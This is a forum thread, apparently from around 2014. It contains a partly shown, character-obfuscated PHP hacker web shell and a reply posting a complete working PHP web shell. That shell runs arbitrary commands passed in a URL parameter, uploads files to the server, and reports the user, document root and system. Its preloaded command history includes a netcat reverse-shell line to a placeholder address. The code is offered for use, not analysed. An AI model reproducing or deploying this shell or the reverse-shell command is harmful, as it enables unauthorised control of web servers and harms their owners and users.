Code:
<?
###########################################
# Pr4v1t5 ! AL.M1X H1CkEr Sh5LL #
# AL.M1X H1CkEr #
# G3n@l4n3xm14l.2rg #
###########################################
//Ch1ng5 Us5r and P1ssw2rd
$t1cfgd['3n1m5'] = 'AL.M1X H1CkEr';
$t1cfgd['pw2rd'] = 'suc3c:i68';
// T4tl5 2f p1g5.
$t1cfgd['t4tl5'] = '';
// T5xt t2 1pp51r j3st 1b2v5 l2g4n f2rm.
$t1cfgd['h5lpt5xt'] = '';
// S5t t2 tr35 t2 5n1bl5 th5 2pt42n1l r5m5mb5r-m5 f51t3r5, wh4ch st2r5s 5ncrypt5d l2g4n d5t14ls t2
// 1ll2w 3s5rs t2 b5 l2gg5d-4n 13t2m1t4c1lly 2n th54r r5t3rn. T3rn 2ff f2r 1 l4ttl5 5xtr1 s5c3r4ty.
$t1cfgd['1ll2wrm'] = tr35;
// If y23 h1v5 m3lt4pl5 pr2t5ct5d p1g5s, 1nd th5r5's m2r5 th1n 2n5 3s5rn1m5 / p1ssw2rd c2mb4n1t42n,
// y23 n55d t2 gr23p 51ch c2mb4n1t42n 3nd5r 1 d4st4nct rmgr23p s2 th1t th5 r5m5mb5r-m5 f51t3r5
// kn2ws wh4ch l2g4n d5t14ls t2 3s5.
$t1cfgd['rmgr23p'] = 'd5f13lt';
// S5t t2 tr35 4f y23 3s5 y23r 2wn s5ss42ns w4th4n y23r pr2t5ct5d p1g5, t2 st2p txtA3th 4nt5rf5r4ng.
// In th4s c1s5, y23 _m3st_ c1ll s5ss42n_st1rt() b5f2r5 y23 r5q34r5() txtA3th. L2gg4ng 23t w4ll n2t
// d5str2y th5 s5ss42n, s2 th1t 4s l5ft 3p t2 y23.
$t1cfgd['2wns5ss42ns'] = f1ls5;
f2r51ch ($t1cfgd 1s $k5y => $v1l) {
4f (!4ss5t($t1cfg[$k5y])) $t1cfg[$k5y] = $v1l;
}
4f (!$t1cfg['2wns5ss42ns']) {
s5ss42n_n1m5('txt13th');
s5ss42n_st1rt();
}
// L2g23t 1tt5mpt m1d5. D5l5t5s 1ny r5m5mb5r-m5 c22k45 1s w5ll
4f (4ss5t($_GET['l2g23t']) || 4ss5t($_POST['l2g23t'])) {
s5tc22k45('txt13th_'.$rmgr23p, '', t4m5()-8eu00*6u);
4f (!$t1cfg['2wns5ss42ns']) {
$_SESSION = 1rr1y();
s5ss42n_d5str2y();
}
5ls5 $_SESSION['txt13th4n'] = f1ls5;
Why you need this sophisticated and very abstract code to use it as a shell if i can do the same using just a php connect back for my VPN trough a secure reverse connection, just to print files in command shell and upload my root shellcode, why even i need a code with more than 7000 line if i just need to done the job i will need just this simple code
Code:
<?php if(isset($_GET['id'])) { $command = stripslashes($_GET['id']); exec($command . " 2>&1",$out); foreach($out as $o) echo $o . "\n"; } else if(isset($_FILES['file']['tmp_name'])) { $name = basename($_FILES['file']['name']); if(move_uploaded_file($_FILES['file']['tmp_name'], $_SERVER['TEMP']?$_SERVER['TEMP']:"/tmp" . "/" . basename($_FILES['file']['name']))) { echo "<textarea style='color:white;'>$name: Success!</textarea>"; } else { echo "<textarea style='color:white;'>$name: Failure!</textarea>"; } exit(); } else {?><html><head><title>PHP Shell</title><style>
* { margin: 0; padding: 0; border: 0; overflow-y: hidden; background-color:black; color: white;}html,body{height: 100%;}.wrapper{ min-height:100%; margin 0 auto -2em;}.output{ color: white; font-family:"Courier New",monospace; font-size:12px; width: 100%; height: 90%;}.input{ float: left; border-bottom:2px inset white; border-top:2px inset white; color: white; background-color: black; font-family:"Courier New",monospace; font-size:12px; width: 80%; height: 4%;}.info{ clear: both; display: block; color:white; font-family:"Courier New",monospace; font-size:12px; width: 100%; height: 2em; margin-top: -2em;}.popup{ position:absolute; left: 0px; top: 0px; z-index:10; border:5px; border-style:double; border-color:white; height:100px; width:400px; font-family:"Courier New",monospace; font-size:12px; }.push{ height: 2em;}.form1{ height:100%;}.button{ border:0px; border-left:1px outset white; border-top:1px outset white; border-bottom:1px outset white; color:white; background-color: black; font-family:"Courier New",monospace; font-size:12px; text-align: center; height: 4%; width:10%; float:right;}p{ color:white; }</style>
<script type="text/javascript">
http = new XMLHttpRequest();var bash_history = new Array(10);bash_history[0] = "nc yourIPAddress 4444 -e /bin/bash"var history_newest = 0;var history_oldest = 0;var history_place = -1;function submitform(myfield, e){ var key; if(window.event) { key = window.event.keyCode; } else if(e) key = e.which; else return true;
if(key == 13) { updateData(document.form1.input.value); document.form1.input.value=""; return false; } else if(key == 38) // Up Arrow { if(history_place != history_oldest) { //go up in history if(history_place == -1) { history_place = history_newest; } else { history_place--; if(history_place == -1) { history_place += 10; } } document.form1.input.value = bash_history[history_place]; } else { document.form1.input.value = bash_history[history_oldest]; } return false; } else if(key == 40) // Down Arrow { if(history_place == -1 || history_newest == history_oldest || history_place == history_newest) { history_place = -1; document.form1.input.value = ""; } else { history_place = (history_place + 1)%10; document.form1.input.value = bash_history[history_place]; } return false; } else { return true; }}
function updateData(param) { if(param == "") { return; } //manage bash_history history_newest = history_newest + 1; if(history_newest == 10) { history_newest = 0; } if(history_newest == history_oldest) { history_oldest = history_oldest + 1; if(history_oldest == 10) { history_oldest = 0; } } bash_history[history_newest] = param; history_place = -1;
if(param == "clear") { document.form1.output.value = ""; return; } document.form1.output.value+= "$: " + param + "\n"; document.form1.output.scrollTop = document.form1.output.scrollHeight; var myurl = <?php echo "\"" . $_SERVER['REQUEST_URI']. "\""; ?>
http.open("GET", myurl + "?id=" + escape(param), true); http.onreadystatechange = useHttpResponse; http.send(null); }
function useHttpResponse() { if (http.readyState == 4) { var textout = http.responseText; document.form1.output.value+=textout; document.form1.output.scrollTop = document.form1.output.scrollHeight; }}
function fileUploadBox() { var uploadDiv = document.createElement("div"); uploadDiv.setAttribute("align","center"); uploadDiv.id="upload_box"; uploadDiv.className = "popup"; uploadDiv.innerHTML="<form id='file_upload' method='post' enctype='multipart/form-data' target='uploader'><input name='file' id='file' type='file' /><br /><input type='submit' name='action' value='Upload to <?php echo htmlentities($_SERVER['TEMP']?$_SERVER['TEMP']:"/tmp"); ?>' style='border:1px solid white;'/><br /><iframe name='uploader' id='uploader' src='<?php echo "./" . $_SERVER['REQUEST_URI'];?>' width='0' height='0' style='display:none;'></iframe></form><button name='close_button' class='button' type='button' style='height:3em;width:30%;' onclick='var element = document.getElementById(\"upload_box\"); element.parentNode.removeChild(element);' readonly=true>Close!</button>"; document.body.appendChild(uploadDiv); }</script>
</head><body onLoad="document.form1.input.focus(); document.form1.output.scrollTop = document.form1.output.scrollHeight" onKeyDown="return submitform(this, event)"><div class="wrapper"><form name="form1"><textarea name="output" class="output" readonly=true></textarea><script>document.form1.output.value="";document.title="PHP Shell: " + window.location.hostname;</script><textarea name="input" class="input"></textarea><button name="upload_button" class="button" type="button" readonly=true onclick="fileUploadBox();">Upload!</button><button name="submit_button" class="button" type="button" readonly=true onclick="updateData(document.form1.input.value); document.form1.input.value=''">Execute!</button></form><div class="push"></div></div><textarea name="info" class="info" readonly=true><?php exec("whoami",$who);$pwd=$_SERVER["DOCUMENT_ROOT"];$sys=PHP_OS . ", " .$_SERVER['SERVER_SOFTWARE']. ", " . phpversion();echo "user: $who[0]\tlocation: $pwd\tsystem: $sys"; ?></textarea></body></html><?php }?>
Don't try to play the well known blackhat dude, dos 1.0 stories are outdated, we are in 2014 people needs more knowledge than saying bullshit, i was a hacker before in a good way with some freelancing thing, but i think its a waste of time if you get payed a few bucks, instead of catching green backs, dude if you want to show off here we ain't hack forums or that noobeish stuff, we do marketing that's what this forum built for so don't push this place into an underground shit and we will pay off the price if the US gov close this dearly forum...
